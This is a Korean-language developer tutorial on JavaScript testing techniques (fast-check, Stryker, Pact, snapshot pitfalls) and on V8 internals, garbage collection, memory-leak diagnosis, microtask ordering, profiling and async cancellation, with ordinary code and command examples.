import { test } from "@fast-check/vitest";
import fc from "fast-check";
import { expect } from "vitest";

// "예제"가 아니라 "항상 참이어야 하는 성질(property)" 을 적습니다
test.prop([fc.array(fc.integer())])("정렬은 길이를 바꾸지 않는다", (arr) => {
  expect(mySort(arr).length).toBe(arr.length);
});

test.prop([fc.string()])("인코딩 → 디코딩은 원본이다", (s) => {
  expect(decode(encode(s))).toBe(s);          // ★ 왕복(round-trip) 속성
});

test.prop([fc.nat(), fc.integer({ min: 0, max: 100 })])(
  "할인가는 0 이상 원가 이하다",              // 불변식(invariant)
  (price, pct) => {
    const r = applyDiscount(price, pct);
    expect(r).toBeGreaterThanOrEqual(0);
    expect(r).toBeLessThanOrEqual(price);
  });

반례 축소(shrinking) — 이게 진짜 값어치

Property failed after 37 tests
{ seed: 1739..., path: "12:3:0:1" }
Counterexample: [ 0, -0 ]        ← ★ 이 두 줄이 전부

처음 실패한 입력은 [ 8391, -4, 0, 77, -0, 12, ... ] 였습니다.
fast-check 는 실패를 유지하는 선에서 입력을 계속 줄여
"가장 작은 반례" 만 남겨 줍니다.
→ 디버깅 시작점이 "배열 200개" 가 아니라 "[0, -0]" 이 됩니다.
   (Object.is(0, -0) === false 라서 중복 제거가 깨지던 실제 버그)
도입할 가치가 있는 곳 — 파서·직렬화·정렬·금액 계산·날짜 변환·권한 계산처럼 입력 공간이 넓고 규칙이 명확한 순수 함수.
가치가 없는 곳 — CRUD 컨트롤러, 화면 조립 코드. “항상 참인 성질”이 안 떠오르면 그 코드는 대상이 아닙니다.

② 뮤테이션 테스트 — Stryker

커버리지 100% 는 “그 줄이 실행됐다”는 뜻일 뿐, “그 줄이 틀렸을 때 테스트가 빨개진다”는 뜻이 아닙니다. expect 가 하나도 없는 테스트도 커버리지는 올라갑니다. Stryker 는 소스를 일부러 고쳐 놓고(mutant) 테스트가 잡아내는지 셉니다.

npm i -D @stryker-mutator/core @stryker-mutator/vitest-runner
// stryker.config.json
{ "testRunner": "vitest", "coverageAnalysis": "perTest",
  "mutate": ["src/domain/**/*.ts", "!src/**/*.spec.ts"],
  "thresholds": { "high": 80, "low": 60, "break": 50 } }
$ npx stryker run

src/domain/discount.ts
  #12  Survived   if (percent > 100)  →  if (percent >= 100)
  #19  Survived   return price * r    →  return price / r
  #24  Killed     ConditionalExpression

Mutation score: 61.5%   ← ★ 커버리지는 98% 였습니다

"Survived" = 코드를 망가뜨렸는데 테스트가 전부 통과했다
           = 그 분기를 지켜 주는 테스트가 사실상 없다
느립니다 — 전체 코드에 돌리지 마세요. 변이 하나마다 테스트를 다시 돌리므로 시간이 수십 배가 됩니다. 도메인 로직 폴더에만 범위를 좁히고, PR 마다가 아니라 야간 스케줄 CI에서 돌리는 것이 현실적인 운용입니다. 도입할 가치 — 돈·재고·권한 계산 모듈, 그리고 “커버리지는 높은데 왜 자꾸 버그가 나지?”라는 질문이 나왔을 때.

③ 계약 테스트 — Pact

MSA 에서 가장 흔한 사고는 “서버 팀이 필드 이름을 바꿨는데 아무도 몰랐다” 입니다. 각 서비스의 단위 테스트는 전부 초록색이고, E2E 는 느려서 자주 못 돌립니다. 계약 테스트는 소비자가 기대하는 응답 모양을 파일(pact)로 못 박고 제공자 CI 가 그것으로 자신을 검증합니다.

npm i -D @pact-foundation/pact
// ── 소비자(주문 서비스) 쪽 테스트 ──
import { PactV3, MatchersV3 as M } from "@pact-foundation/pact";

const provider = new PactV3({ consumer: "order-api", provider: "user-api" });

it("사용자 조회 계약", async () => {
  provider
    .given("id 1 사용자가 존재한다")
    .uponReceiving("사용자 조회 요청")
    .withRequest({ method: "GET", path: "/users/1" })
    .willRespondWith({
      status: 200,
      body: {                              // ★ 값이 아니라 "모양"을 고정
        id: M.integer(1), email: M.email("a@b.c"),
        grade: M.regex(/GOLD|SILVER/, "GOLD"),
      },
    });

  await provider.executeTest(async (mock) => {
    const u = await new UserClient(mock.url).find(1);
    expect(u.email).toBe("a@b.c");
  });
});
// → pacts/order-api-user-api.json 생성 → Pact Broker 로 발행
# ── 제공자(user-api) CI ──
# 발행된 모든 소비자 계약을 실제 서버에 재생해 봅니다
npx pact-provider-verifier --provider-base-url=http://localhost:3000

# ★ email 을 mail 로 바꾸면 "제공자 CI 가" 빨개집니다.
#   소비자 팀이 운영에서 발견하기 전에.
도입할 가치 — 서비스가 3개 이상이고 팀이 나뉘어 배포 주기가 서로 다를 때. 소비자와 제공자를 같은 저장소에서 같은 사람이 같이 배포한다면 타입 공유(공용 패키지)로 충분합니다. 계약 테스트는 Broker 운영·버전 태깅이라는 관리 비용이 따라옵니다.

④ 스냅샷 테스트의 함정

it("응답 형태", () => {
  expect(render(order)).toMatchSnapshot();   // ⚠️ 편하지만 위험
});
  • 실패해도 무엇이 잘못인지 모릅니다 — “달라졌다”만 알려 줍니다
  • -u 반사 신경 — 깨지면 다들 vitest -u 로 덮어씁니다. 그 순간 버그가 정답으로 승격됩니다 ★
  • 날짜·UUID·정렬 순서가 섞이면 깜빡이는 테스트가 되고, 거대한 .snap 은 아무도 리뷰하지 않습니다
// ✅ 인라인 스냅샷 — 코드 옆에 있어 리뷰가 됩니다
expect(fmt(1234567)).toMatchInlineSnapshot(`"1,234,567원"`);

// ✅ 흔들리는 값은 고정하고, 검증할 필드만 명시
vi.setSystemTime(new Date("2026-08-04"));
expect(res.body).toMatchObject({ status: "PAID", amount: 10_000 });

⑤ 피라미드와 “테스트하지 않을 것”

        ▲  E2E (Playwright)        5%   결제·로그인 등 핵심 흐름만
       ███ 통합 (DB·HTTP 실물)     25%   ★ 가성비가 가장 높은 층
     ███████ 단위 (순수 로직)      70%   빠르고 많아도 부담 없음

느리고 잘 깨지는 층이 위로 갈수록 얇아야 합니다.
E2E 200개짜리 프로젝트는 예외 없이 "아무도 안 보는 빨간 CI" 가 됩니다.
테스트하지 말 것이유
getter · setter · DTO 매핑깨질 수가 없습니다. 리팩터링만 방해합니다
라이브러리 동작 (Zod·Prisma 자체)남의 테스트를 다시 짜는 일입니다
mock 만 검증하는 테스트내가 짠 mock 이 잘 도는지를 볼 뿐입니다 (o05)
화면 픽셀·문구가장 자주 바뀌고 가장 자주 깨집니다
private 메서드공개 동작으로 검증되지 않는다면 설계가 잘못된 것입니다
도입 순서를 지키세요. ① 통합 테스트(Testcontainers)로 진짜 DB부터 → ② 도메인 로직에 fast-check → ③ 커버리지가 의심스러우면 Stryker(야간) → ④ 서비스가 갈라지면 Pact. ①이 없는데 ③부터 하는 팀이 의외로 많습니다 — 측정 도구를 늘려도 안 짠 테스트는 생기지 않습니다.
DEEP DIVE · V8 · 메모리 · 아키텍처

왜 이 코드가
빠른지
설명할 수 있는가

문법을 아는 것과 동작 원리를 아는 것은 다릅니다. 이 탭은 V8 내부 · 메모리 · 프로파일링 · 메타프로그래밍 · 보안 · 아키텍처를 다룹니다. 실무에서 매일 쓰지는 않지만, 장애를 해결할 때와 면접에서 차이를 만듭니다. 여기까지 마치면 “왜 느린가·왜 새는가”를 측정으로 답하고, 대규모 코드베이스의 구조를 설계하는 자리에 설 수 있습니다.

18SECTIONS
V8엔진 내부
측정추측이 아니라
🔴전부 고급
DEEP 01

V8 이 코드를 실행하는 과정

자바스크립트는 인터프리터 언어일까요? 절반만 맞습니다.

파이프라인

소스 코드
   ↓  파서 (Parser)
추상 구문 트리 (AST)
   ↓  Ignition — 바이트코드 인터프리터
바이트코드 실행 시작  ← ★ 여기서 바로 돌기 시작합니다 (빠른 시작)
   ↓  실행하면서 프로파일링 ("이 함수가 자주 불린다")
Sparkplug (베이스라인 컴파일러) — 간단한 기계어
   ↓  꽤 자주 불리면
Maglev (중간 티어) — 빠르게 만든 준수한 기계어
   ↓  아주 뜨거우면
TurboFan (최고 티어) — ★ 가장 잘 최적화된 기계어
   │    · 백엔드는 2025 년에 Turboshaft(CFG 기반 IR)로 전면 교체됐습니다
   │    · Turbolev — Maglev IR 을 Turboshaft 백엔드에 바로 넣어
   │      TurboFan 의 "프런트엔드"까지 대체하는 작업이 진행 중입니다
   ↓  가정이 깨지면
Deoptimization — 다시 바이트코드로 ★ 성능 급락
핵심 개념: JIT(Just-In-Time) 컴파일
미리 다 컴파일하지 않고, 실행하면서 뜨거운 코드만 기계어로 만듭니다. 그래서 시작은 빠르고, 반복 실행되는 코드는 C 에 근접한 속도가 나옵니다. 대신 “최적화 가정”이 깨지면 되돌아갑니다(d02).
Turboshaft · Turbolev — 이름이 바뀐 이유
오래된 TurboFan 은 “바다의 노드(Sea of Nodes)” 라는 느슨한 그래프 IR 을 썼습니다. 유연하지만 컴파일이 느리고 캐시 지역성이 나빠, V8 팀은 백엔드를 Turboshaft(제어 흐름 그래프 기반 IR)로 다시 썼고 2025 년에 JS 백엔드가 전부 Turboshaft 로 넘어갔습니다. 지금 진행 중인 Turbolev 는 여기서 한 걸음 더 나가 Maglev 가 만든 IR 을 그대로 Turboshaft 백엔드에 넘겨 TurboFan 프런트엔드(그래프 생성 단계)까지 걷어내는 작업입니다 — 목표는 같은 최종 성능에 훨씬 짧은 컴파일 시간입니다. 내 코드가 할 일은 달라지지 않습니다. 아래 “변하지 않는 원칙”이 그대로입니다.
# 실제로 확인해 보기
node --trace-opt --trace-deopt app.js       # 최적화·해제 로그
node --print-bytecode app.js                # 바이트코드 출력
node --allow-natives-syntax                 # %OptimizeFunctionOnNextCall 사용 가능

Hermes · 다른 엔진

엔진특징
V8Chrome · Node · Electron. JIT 중심
HermesReact Native 기본. 미리 바이트코드로 컴파일(AOT) → 앱 시작이 빠르고 메모리가 적음
JavaScriptCoreSafari · Bun
SpiderMonkeyFirefox
“이 최적화가 항상 통한다”고 믿지 마세요. V8 은 계속 바뀝니다. 예전에 유명했던 최적화 팁(예: for 가 forEach 보다 항상 빠르다)이 지금은 차이가 없거나 역전된 경우가 많습니다. 항상 측정하세요(d06·d14).

그래도 변하지 않는 원칙

  • 객체 모양을 일정하게 유지 (d02)
  • 같은 자리에는 같은 타입을 넣기
  • 불필요한 객체 생성을 줄이기 (GC 부담)
  • 알고리즘 복잡도가 미시 최적화보다 백 배 중요
  • 이벤트 루프를 막지 않기 (🚀 대규모 k02)
실무에서 이 지식이 쓰이는 순간 — “왜 이 함수만 유독 느리지?”를 프로파일러로 봤는데 deopt 가 반복되고 있을 때. 원인은 대개 d02 에 있습니다.
V8 이 코드를 빠르게 만드는 방법 — 관찰하고 가정합니다 소스 파싱 필요한 부분만 바이트코드 Ignition 최적화 기계어 TurboFan 실행하며 관찰 · 타입 기록 같은 모양이면 계속 빠름 자주 불림 · 타입이 늘 같음 가정이 깨지면 역최적화 "늘 숫자" 자리에 문자열 하나 최적화는 함수 단위 — 뜨거운 것만 빠른 코드의 조건은 기교가 아니라 예측 가능성 — 같은 자리에 같은 모양의 값을 첫 실행은 원래 느립니다 — 벤치마크는 예열 구간을 빼고 재세요 역최적화가 어디서 나는지는 --trace-deopt 로 직접 볼 수 있습니다
V8 을 이기려 하지 말고 V8 이 가정을 유지할 수 있게 써 주는 편이 언제나 빠릅니다.
DEEP 02

히든 클래스 · 최적화 해제

같은 코드가 10배 느려지는 이유입니다.

히든 클래스 (Shape / Map)

// V8 은 객체마다 "내부 구조 정보"를 만들어 재사용합니다
const a = { x: 1, y: 2 };     // 히든클래스 C0 → C1(x) → C2(x,y)
const b = { x: 3, y: 4 };     // ★ 같은 C2 를 공유 → 빠른 접근

const c = { y: 5, x: 6 };     // ❌ 순서가 다르면 다른 히든클래스
const d = { x: 7 };
d.y = 8;                       // ❌ 나중에 추가해도 경로가 달라짐

// ★ 규칙
//   ① 속성을 "생성자에서 전부" 초기화
//   ② 항상 "같은 순서"로
//   ③ delete 를 쓰지 말 것 (사전 모드로 전락 → 크게 느려짐)
느린 패턴
class P {
  constructor(x, y) {
    this.x = x;
    if (y) this.y = y;   // 조건부
  }
}
delete obj.cache;        // 사전 모드
obj[key] = v;            // 동적 키 남발
빠른 패턴
class P {
  constructor(x, y) {
    this.x = x;
    this.y = y ?? null;  // 항상 정의
    this.cache = null;
  }
}
obj.cache = null;        // delete 대신
// 동적 키가 많으면 Map 사용

인라인 캐시 (IC)

function getX(obj) { return obj.x; }

// 모노모픽 — 한 종류만 들어옴 → ★ 가장 빠름
getX({ x: 1, y: 2 });
getX({ x: 3, y: 4 });

// 폴리모픽 — 2~4 종류 → 조금 느림
getX({ x: 1, y: 2 });
getX({ x: 1, z: 3 });

// 메가모픽 — 5종류 이상 → ★ 최적화 포기, 매번 조회
// 실무에서 이렇게 되는 경우:
//   · 여러 API 응답을 같은 함수로 처리
//   · JSON.parse 결과를 그대로 여기저기 넘김
// 배열도 "요소 종류"에 따라 내부 표현이 다릅니다
const nums = [1, 2, 3];        // PACKED_SMI — 가장 빠름
const dbl  = [1.1, 2.2];       // PACKED_DOUBLE
const mix  = [1, "a", {}];     // PACKED_ELEMENTS — 느림
const holey = [1, , 3];        // ★ HOLEY — 구멍이 있으면 크게 느려집니다

// 구멍을 만드는 코드
const arr = new Array(100);          // ❌ 전부 구멍
arr[500] = 1;                        // ❌ 중간이 비어 버림
delete arr[0];                       // ❌

// ✅
const arr2 = new Array(100).fill(0);
const arr3 = Array.from({ length: 100 }, (_, i) => i);
이 최적화를 “먼저” 하지 마세요. 대부분의 성능 문제는 DB·네트워크·알고리즘에 있습니다. 이 절의 내용은 프로파일러가 특정 함수를 지목했을 때 원인을 이해하기 위한 지식입니다. 측정 없는 미시 최적화는 시간 낭비입니다.
객체의 모양(히든 클래스) — 순서가 성능을 가릅니다 같은 순서 — 모양 하나를 공유 { id: 1, name: "가" } { id: 2, name: "나" } 모양 A 하나만 — 속성 접근이 인덱스 접근만큼 빠릅니다 순서가 다르면 — 모양이 따로 { id: 1, name: "가" } { name: "다", id: 3 } ← 순서만 다름 모양 A 와 B 가 섞여 조회 경로가 매번 갈립니다 모양을 깨뜨리는 것들 나중에 속성 추가 · delete 로 삭제 · undefined 와 숫자를 같은 자리에 섞기 특히 delete 는 사전 모드로 떨어뜨립니다 — 지우지 말고 null 을 넣으세요 실무 지침 하나면 충분합니다 — 생성자나 팩토리에서 모든 속성을 같은 순서로 한 번에 채우세요 수백만 번 도는 반복문이 아니라면 체감 차이는 없습니다 — 먼저 재고 나서 손대세요
객체 리터럴의 속성 순서는 취향이 아니라 엔진에게 주는 힌트입니다.
DEEP 03

메모리 구조 · GC

자바의 GC 와 개념이 거의 같습니다. 세대별 수집이 핵심입니다.

힙 구조

[Young Generation]  새로 만든 객체 (작음, 수 MB)
  ├ Nursery / From
  └ Intermediate / To
  → Scavenger 로 자주·빠르게 수집 (1~2ms)
  → 대부분의 객체는 여기서 바로 사라집니다 ("대부분 금방 죽는다")

[Old Generation]   두 번 살아남은 객체 (큼)
  → Mark-Sweep-Compact 로 가끔 수집
  → ★ Major GC 는 수십~수백 ms 걸릴 수 있습니다

[그 외]
  Large Object Space  큰 객체
  Code Space          컴파일된 코드
  ※ Buffer 는 힙 밖(외부 메모리) — --max-old-space-size 와 무관
import v8 from "node:v8";
console.log(v8.getHeapStatistics());
// heap_size_limit, used_heap_size, external_memory …

process.memoryUsage();
// rss(전체) · heapTotal · heapUsed · external · arrayBuffers
힙 한도는 자동 산정되지만, 명시하는 편이 안전합니다. Node 20+ 는 cgroup 의 memory.max 를 읽어 V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다. 그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로 직접 지정하는 이유는 — ① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고, ② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며, ③ 값을 못 박아야 OOMKilled(exit 137) 대신 V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다(🚀 대규모 k14).

GC 를 덜 일하게 하기

// ① 반복문 안에서 객체를 계속 만들지 않기
// ❌ 100만 개의 임시 객체
for (const row of rows) {
  results.push({ ...row, computed: calc(row) });
}
// ✅ 필요한 필드만
for (const row of rows) {
  results.push({ id: row.id, value: calc(row) });
}

// ② 큰 문자열 연결은 배열 + join
// ❌ 반복마다 새 문자열
let s = ""; for (const x of arr) s += x;
// ✅
const parts = []; for (const x of arr) parts.push(x); parts.join("");

// ③ 스트리밍으로 — 전체를 메모리에 올리지 않기 (🟩 Node n05)
// ❌ JSON.parse(hugeString)
// ✅ 스트리밍 파서 또는 청크 처리
# GC 관찰
node --trace-gc app.js
# [12345:0x...] 1234 ms: Scavenge 45.2 (52.1) -> 12.3 (52.1) MB, 1.2 ms
#                        ↑ 종류    ↑ 전    ↑ 후            ↑ 걸린 시간

# Major GC(Mark-Sweep)가 자주·오래 걸린다면
#   → Old Generation 에 객체가 계속 쌓이고 있다는 뜻 (d04 누수 의심)
GC 옵션을 만지는 건 거의 마지막 수단입니다. --max-semi-space-size 같은 값을 조정하기 전에 객체를 덜 만드는 코드로 바꾸는 것이 훨씬 효과가 큽니다. p99 가 튄다면 GC 정지를 의심하되, 먼저 측정하세요.
힙은 두 칸입니다 — 대부분의 객체는 첫 칸에서 죽습니다 청소 한 번에 메인 스레드가 멈추는 시간 0 25 50 75 100 ms 새 공간 (Scavenge) 1~3 ms · 1초에도 여러 번 · 산 것만 복사 오래된 공간 (Mark-Compact) 큰 힙에서 50~100 ms 객체가 사는 곳 새 공간 · 수 MB 2번 살아남으면 승격 오래된 공간 · 수백 MB 이상 긴 멈춤을 만드는 습관 — 전역 배열에 쌓기 · 끝없는 캐시 · 요청마다 큰 버퍼 GC 를 직접 부르려 하지 말고 쓰레기를 덜 만드세요 — 버퍼는 재사용하고 캐시에는 상한을 두세요 멈춤이 의심되면 --trace-gc 로 청소 종류와 소요 시간을 먼저 확인하세요
GC 튜닝보다 객체를 오래 붙잡지 않는 설계가 거의 항상 효과가 큽니다.
DEEP 04

메모리 누수 잡기

“메모리가 계속 늘어요”를 실제로 해결하는 절차입니다.

흔한 원인 다섯 가지

// ① 무한히 커지는 캐시 — 가장 흔합니다
const cache = new Map();
app.get("/u/:id", (req, res) => {
  cache.set(req.params.id, data);       // ❌ 지우는 코드가 없음
});
// ✅ LRU + TTL
import { LRUCache } from "lru-cache";
const cache = new LRUCache({ max: 5000, ttl: 60_000 });

// ② 해제 안 된 리스너
emitter.on("data", handler);            // 요청마다 등록
// ✅ off 또는 once, 요청 스코프에서는 등록 자체를 피하기

// ③ 정리 안 된 타이머
setInterval(poll, 1000);                // ❌ 참조가 영원히 유지
// ✅ const t = setInterval(...); clearInterval(t);

// ④ 클로저가 큰 객체를 붙잡음
function handler(hugeData) {
  return () => console.log(hugeData.id);   // hugeData 전체가 살아남음
}
// ✅ 필요한 값만 복사
function handler(hugeData) {
  const id = hugeData.id;
  return () => console.log(id);
}

// ⑤ 전역·모듈 스코프에 누적
const requests = [];                     // ❌ 모듈 스코프
app.use((req) => requests.push(req));    // 영원히 증가

찾는 절차 — 스냅샷 비교

1) 서버를 --inspect 로 띄운다
   node --inspect dist/index.js

2) Chrome → chrome://inspect → Memory 탭

3) ★ 스냅샷 A 를 찍는다 (안정 상태)

4) 부하를 준다 (같은 요청 1,000번)
   npx autocannon -c 10 -a 1000 http://localhost:3000/api/x

5) GC 를 유도하고 (쓰레기통 아이콘) ★ 스냅샷 B 를 찍는다

6) "Comparison" 뷰로 A → B 비교
   → Delta 가 큰 생성자를 찾는다
   → Retainers 로 "누가 붙잡고 있는지" 역추적 ★
// 코드에서 직접 스냅샷 (운영 중 조사)
import { writeHeapSnapshot } from "node:v8";

process.on("SIGUSR2", () => {           // ★ 신호로 트리거
  const f = writeHeapSnapshot(`/tmp/heap-${Date.now()}.heapsnapshot`);
  logger.info({ f }, "힙 스냅샷 저장");
});
// kill -SIGUSR2 <pid> 로 원하는 순간에 찍을 수 있습니다
스냅샷을 찍으면 프로세스가 잠깐 멈춥니다. 힙이 1GB 면 수 초간 정지할 수 있습니다. 운영에서는 로드밸런서에서 뺀 인스턴스에서 찍으세요.
지속 모니터링 — heapUsed 를 메트릭으로 내보내고 재시작 후 우상향하는지 보세요. 정상이라면 톱니 모양(늘었다 GC 로 줄었다)이 반복되고, 누수면 바닥선이 계속 올라갑니다(🚀 대규모 k12).
누수는 '무엇이 늘었나'가 아니라 '누가 붙잡고 있나'입니다 ① 추세 확인 GC 후에도 우상향인가 ② 스냅샷 두 장 비교 사이에 늘어난 객체 목록 ③ Retainers 를 따라갑니다 이 객체를 놓아주지 않는 참조 경로 원인 4종 — 거의 여기서 나옵니다 ① 해제하지 않은 이벤트 리스너 · 구독 ② 전역 Map · 배열에 계속 쌓기 (캐시인데 만료 없음) ③ clearInterval 을 안 부른 타이머 ④ 클로저가 큰 객체를 붙잡고 있음 예방하는 습관 등록한 곳에서 해제까지 같이 적기 (off · unsubscribe) 캐시에는 반드시 최대 크기나 TTL — LRU 를 쓰세요 키가 객체라면 WeakMap 을 고려합니다 AbortController 로 요청·리스너를 한 번에 정리 서버에서는 재시작하면 사라지니까 넘어가기 쉽지만, 트래픽이 늘면 그 주기가 짧아져 결국 장애가 됩니다 확인은 부하를 준 상태에서 — 한가한 시간의 그래프로는 우상향이 보이지 않습니다
스냅샷 비교로 "늘어난 객체 → 붙잡은 코드"까지 가면 원인은 대개 한 줄입니다.
누수는 '무엇이 늘었나'가 아니라 '누가 붙잡고 있나'입니다 GC 루트 모듈 스코프 전역 Map 세션 객체 +12,000개 EventEmitter 리스너 클로저 큰 버퍼 8 MB 보관 set 만 · 삭제 없음 on() 등록 클로저가 붙잡음 끊을 곳은 붉은 원 — 캐시에는 최대 크기·TTL, 리스너는 off · AbortController 로 해제 스냅샷의 Retainers 는 오른쪽에서 왼쪽으로 — 늘어난 객체에서 루트까지 거꾸로 읽습니다
스냅샷 비교로 "늘어난 객체 → 붙잡은 코드"까지 가면 원인은 대개 한 줄입니다.
DEEP 05

마이크로태스크 심화

🟨 JS j10 의 확장판. 정확한 우선순위를 정리합니다.

Node 의 전체 우선순위

1. 동기 코드 (현재 스택)
2. process.nextTick 큐        ← ★ Node 전용, 가장 먼저
3. 마이크로태스크 큐 (Promise, queueMicrotask)
4. 매크로태스크 — 이벤트 루프 페이즈 순서로
     timers → pending → poll → check(setImmediate) → close

★ 2·3 은 매크로태스크 콜백 하나가 끝날 때마다
  전부 비워집니다 (Node 11+).
console.log("1: 동기");

setTimeout(() => console.log("6: timeout"), 0);
setImmediate(() => console.log("7: immediate"));

process.nextTick(() => console.log("3: nextTick"));
Promise.resolve().then(() => console.log("4: promise"));
queueMicrotask(() => console.log("5: microtask"));

console.log("2: 동기");

// 1 → 2 → 3 → 4 → 5 → 그리고 6·7   (CommonJS 기준)
// ★ ESM(.mjs · "type": "module")에서는 1 → 2 → 4 → 5 → 3 입니다 —
//   모듈 본문이 이미 마이크로태스크 안에서 돌아서, nextTick 큐는 그 뒤에 비워집니다
// ★ 단, 6(timeout) vs 7(immediate) 순서는 메인 모듈에선 보장되지
//   않습니다 — I/O 콜백 안에서만 immediate 가 항상 먼저 (n03)
process.nextTick 을 남용하면 이벤트 루프가 굶습니다. nextTick 안에서 또 nextTick 을 부르면 큐가 비지 않아 타이머·I/O 가 영원히 실행되지 않습니다(starvation). 라이브러리 내부용이라고 생각하고, 앱 코드에서는 쓰지 마세요.

실무에서 문제가 되는 경우

// ① 마이크로태스크 무한 루프 — 서버가 응답을 멈춥니다
function loop() { Promise.resolve().then(loop); }
loop();     // ❌ CPU 100%, 다른 요청 전부 대기

// ② 재귀 Promise 로 큐 처리
async function drain() {
  while (queue.length) {
    await process(queue.shift());
    // ★ await 뒤가 마이크로태스크라 I/O 에 양보되지 않을 수 있습니다
  }
}
// ✅ 주기적으로 매크로태스크에 양보
if (++n % 100 === 0) await new Promise(r => setImmediate(r));

// ③ async 함수는 첫 await 전까지 "동기처럼" 실행됩니다
async function f() {
  console.log("A");        // 즉시 실행
  await null;
  console.log("B");        // 마이크로태스크
}
f(); console.log("C");     // A → C → B
// ④ 브라우저 전용 — 렌더링과의 관계
element.style.width = "100px";
requestAnimationFrame(() => { /* 다음 프레임 직전 */ });
// 마이크로태스크는 "렌더링 전에" 전부 실행됩니다
// → 여기서 무거운 일을 하면 프레임이 밀립니다
면접에서 이 주제가 나오면 — “마이크로태스크는 현재 작업이 끝난 직후 전부, 매크로태스크는 한 번에 하나씩”이라는 한 문장으로 시작하고, starvation 위험까지 언급하면 이해도가 확실히 전달됩니다.
Node 의 마이크로태스크는 큐가 둘입니다 타이머 setTimeout 입출력 대기 poll · 소켓 check setImmediate 닫기 close 콜백 단계가 바뀔 때마다 nextTick → Promise 두 큐를 끝까지 비움 ① nextTick 큐 process.nextTick — 가장 먼저 ② 프로미스 큐 .then · await 이후 코드 굶기기 (starvation) nextTick 안에서 nextTick 을 또 부르면 고리가 다음 칸으로 못 넘어갑니다 CPU 는 100%, 응답은 0 직접 만드는 라이브러리가 아니라면 nextTick 을 쓸 일은 거의 없습니다 — queueMicrotask 로 충분합니다 await 를 반복문 안에서 수천 번 돌리면 그만큼 마이크로태스크가 쌓입니다 — 묶어서 처리하세요 긴 계산은 중간에 setImmediate 로 한 번 끊어 주면 다른 요청이 숨을 쉽니다
"비동기라서 안 막힌다" 는 말은 대기에만 해당합니다 — 계산은 그대로 막습니다.
DEEP 06

프로파일링

느린 곳은 추측하지 말고 측정하세요. 도구가 답을 알려 줍니다.

CPU 프로파일

# ① 내장 프로파일러 — 가장 간단
node --cpu-prof --cpu-prof-dir=./prof dist/index.js
# 종료 시 .cpuprofile 생성 → Chrome DevTools 에 드래그

# ② 실행 중인 프로세스에 붙기
node --inspect dist/index.js
# chrome://inspect → Performance → Record

# ③ 플레임 그래프 (한눈에 보기 좋습니다)
npx clinic flame -- node dist/index.js
npx clinic doctor -- node dist/index.js    # ★ 자동 진단 (이벤트 루프·GC·I/O)

# ④ 0x — 가벼운 플레임 그래프
npx 0x dist/index.js
플레임 그래프 읽는 법
  · 가로 폭 = 그 함수가 CPU 를 쓴 시간 비율 ★
  · 세로 = 호출 스택 깊이
  · "넓고 평평한 것"을 찾으세요 — 그게 병목입니다
  · 내 코드가 아니라 라이브러리가 넓다면
    → 어떻게 호출하고 있는지를 보세요 (대개 호출 횟수 문제)

코드 안에서 측정

import { performance, PerformanceObserver } from "node:perf_hooks";

// ★ 관찰자를 먼저 등록합니다 — 등록 전에 생긴 항목은 전달되지 않습니다
const obs = new PerformanceObserver((list) => {
  for (const e of list.getEntries()) {
    metrics.histogram(`perf_${e.name}`, e.duration);
  }
});
obs.observe({ entryTypes: ["measure", "function"] });

// 구간 측정
performance.mark("db:start");
await query();
performance.mark("db:end");
performance.measure("db", "db:start", "db:end");

// 함수 단위 자동 측정
const timed = performance.timerify(heavyFunction);
// 벤치마크는 도구로 (수동 측정은 오차가 큽니다)
import { Bench } from "tinybench";

const bench = new Bench({ time: 1000 });
bench
  .add("Set 으로 중복 제거", () => [...new Set(arr)])
  .add("filter+indexOf", () => arr.filter((v, i) => arr.indexOf(v) === i));
await bench.run();
console.table(bench.table());
마이크로 벤치마크는 자주 거짓말을 합니다. JIT 워밍업·죽은 코드 제거·캐시 효과 때문에 실제 서비스와 다른 결과가 나옵니다. 실제 부하로 측정한 p99가 유일하게 믿을 만한 숫자입니다(🚀 k13).
운영 환경 프로파일링 — Pyroscope·Datadog Continuous Profiler 같은 도구는 오버헤드 1~2% 로 상시 프로파일을 수집합니다. “어제 오후 3시에 왜 느렸지?”를 사후에 볼 수 있는 유일한 방법입니다.
DEEP 07

동시성 심화 · 취소

실무에서 의외로 안 쓰는데 꼭 필요한 기법들입니다.

AbortController — 작업 취소

const controller = new AbortController();

// 여러 작업에 같은 시그널을 전달
const pending = Promise.all([
  fetch(url1, { signal: controller.signal }),
  fetch(url2, { signal: controller.signal }),
]);

// 화면을 떠나는 등 결과가 더 필요 없어지면
controller.abort();                    // ★ 둘 다 즉시 취소 → pending 은 AbortError 로 reject

// 타임아웃 · 결합
const timeout = AbortSignal.timeout(3000);
const combined = AbortSignal.any([controller.signal, timeout]);
//  ↑ WHATWG DOM (Node 20+ · 브라우저 공통)

// 내가 만든 비동기 함수도 취소 가능하게
async function longTask(signal: AbortSignal) {
  for (const item of items) {
    signal.throwIfAborted();           // ★ 중간중간 확인
    await processItem(item);
  }
}

// 정리 등록
signal.addEventListener("abort", () => cleanup(), { once: true });
어디에 쓰나 — ① 사용자가 화면을 떠났을 때 진행 중인 요청 취소(React useEffect 정리), ② 검색어가 바뀌면 이전 요청 취소, ③ 서버에서 클라이언트 연결이 끊기면 무거운 작업 중단 (req.on("close")).

세마포어 · 뮤텍스

// 동시 실행 수 제한 — 직접 구현 (🟩 Node n11 의 원리)
class Semaphore {
  private queue: (() => void)[] = [];
  private active = 0;
  constructor(private readonly limit: number) {}

  async acquire(): Promise<() => void> {
    if (this.active < this.limit) this.active++;
    else await new Promise<void>(r => this.queue.push(r));   // 깨어나면 슬롯을 넘겨받은 상태
    return () => {                       // release
      const next = this.queue.shift();
      if (next) next();                  // ★ 슬롯을 대기자에게 바로 넘김 (active 그대로)
      else this.active--;                //   줄였다 깨우면 그 사이 끼어든 호출이 limit 를 넘깁니다
    };
  }
}

const sem = new Semaphore(5);
const release = await sem.acquire();
try { await heavyTask(); } finally { release(); }
// 같은 요청이 동시에 오면 하나만 실행 (in-flight 중복 제거)
const inFlight = new Map<string, Promise<unknown>>();

function dedupe<T>(key: string, fn: () => Promise<T>): Promise<T> {
  const existing = inFlight.get(key);
  if (existing) return existing as Promise<T>;

  const p = fn().finally(() => inFlight.delete(key));
  inFlight.set(key, p);
  return p;
}

// ★ 캐시 스탬피드를 한 프로세스 안에서 막는 간단한 방법 (🚀 k04)
const user = await dedupe(`user:${id}`, () => db.user.findUnique({ where: { id } }));
